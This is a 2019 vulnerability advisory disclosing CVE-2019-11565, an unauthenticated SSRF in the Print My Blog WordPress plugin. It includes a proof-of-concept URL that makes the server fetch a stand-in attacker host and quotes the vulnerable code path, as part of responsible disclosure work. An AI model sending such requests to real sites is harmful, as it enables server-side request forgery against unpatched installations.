_ _ / | _| |_ _ _____ ___ ___ ___ ___ ___ _ / / | . | | | | . | _| . | _| -_| |_|_/ |___|___|_|_|_| _|___|___|_| |___| |_| 2019-04-27 SSRF in 'print my blog' WordPress plugin ======================================== CVE-2019-11565 Title says it all - unauthenticated Server Side Request Forgery (SSRF) vulnerability in the Print My Blog[1] version 1.6.5 and probably earlier as well. A general description of SSRF can be found on OWASP's wiki[4]. # Proof of Concept Exploit The issue can be triggered by browsing: http://victim.com/?print-my-blog=1&site=http://evil.com/ # Details The wp_remote_get()[2] function is called with an attacker controllable URL, resulting in unauthenticated SSRF. By setting up a malicious web server, the SSRF can be further chained to launch a reflected XSS attack. I'll leave it up to the reader to figure out how. includes/controllers/PmbFrontend.php: 34 public function templateRedirect($template) 35 { 36 37 if (isset($_GET[PMB_PRINTPAGE_SLUG])) { 38 try { 39 $site_info = new RestApiDetector($this->getFromRequest('site', '')); .. 248 protected function getFromRequest($query_param_name, $default) { 249 return isset($_GET[$query_param_name]) ? $_GET[$query_param_name] : $default; 250 } In PmbFrontend.php, a new instance of the RestApiDetector class is instantiated with the argument of user controllable input, as shown on line 39-249 above. includes/vendor/mnelson4/RestApiDetector/RestApiDetector.php: 17 class RestApiDetector 18 { 19 protected $site; .. 31 public function __construct($site) 32 { 33 $this->setSite($site); 34 $this->getSiteInfo(); 35 } .. 43 public function getSiteInfo() 44 { 45 // check for a site request param 46 if(empty($this->getSite())){ 47 $this->setName(get_bloginfo('name')); 48 $this->setDescription(get_bloginfo('description')); 49 $this->setRestApiUrl(get_rest_url()); 50 $this->setSite(get_bloginfo('url')); 51 $this->setLocal(true); 52 return; 53 } 54 // If they forgot to add http(s), add it for them. 55 if(strpos($this->getSite(), 'http://') === false && strpos($this->getSite(), 'https://') === false) { 56 $this->setSite( 'http://' . $this->getSite()); 57 } 58 // if there is one, check if it exists in wordpress.com, eg "retirementreflections.com" 59 $site = trailingslashit(sanitize_text_field($this->getSite())); 60 61 62 // Let's see if it's self-hosted... 63 $data = $this->getSelfHostedSiteInfo($site); .. 85 protected function getSelfHostedSiteInfo($site){ 86 $response = $this->sendHttpGetRequest($site); .. 180 protected function sendHttpGetRequest($url) 181 { 182 return wp_remote_get( 183 $url, 184 [ 185 'timeout' => 30, 186 'sslverify' => false, 187 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0' 188 ] 189 ); 190 } The argument is set in RestApiDetector's site variable, that gets used as argument to wp_remote_get()[1] on line 182 above. # Proof of discovery $ echo 'http://http://172.16.34.134/wordpress/?print-my-blog=1&site=http://127.0.0.1/' | sha256sum 34bb3534ec1107dcbe0882251c2ec045de289b4560249c77980cdf9ca436fd4f - https://twitter.com/magnusstubman/status/1121734829878513665 # Timeline 2019-04-25 Discovery and vendor notification 2019-04-26 Vendor released patch[3] 2019-04-27 CVE-2019-11565 assigned[5] 2019-05-07 Vendor posted a blog post about the bug and the disclosure process[6] # References 1: https://wordpress.org/plugins/print-my-blog 2: https://developer.wordpress.org/reference/functions/wp_remote_get/ 3: https://plugins.trac.wordpress.org/changeset?old_path=%2Fprint-my-blog%2Ftrunk&old=2075667&new_path=%2Fprint-my-blog%2Ftrunk&new=2075667& 4: https://www.owasp.org/index.php/Server_Side_Request_Forgery 5: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11565 6: https://cmljnelson.wordpress.com/2019/05/07/print-my-blog-plugin-transparency-report-french-ssrf-fix-improved-json-parsing/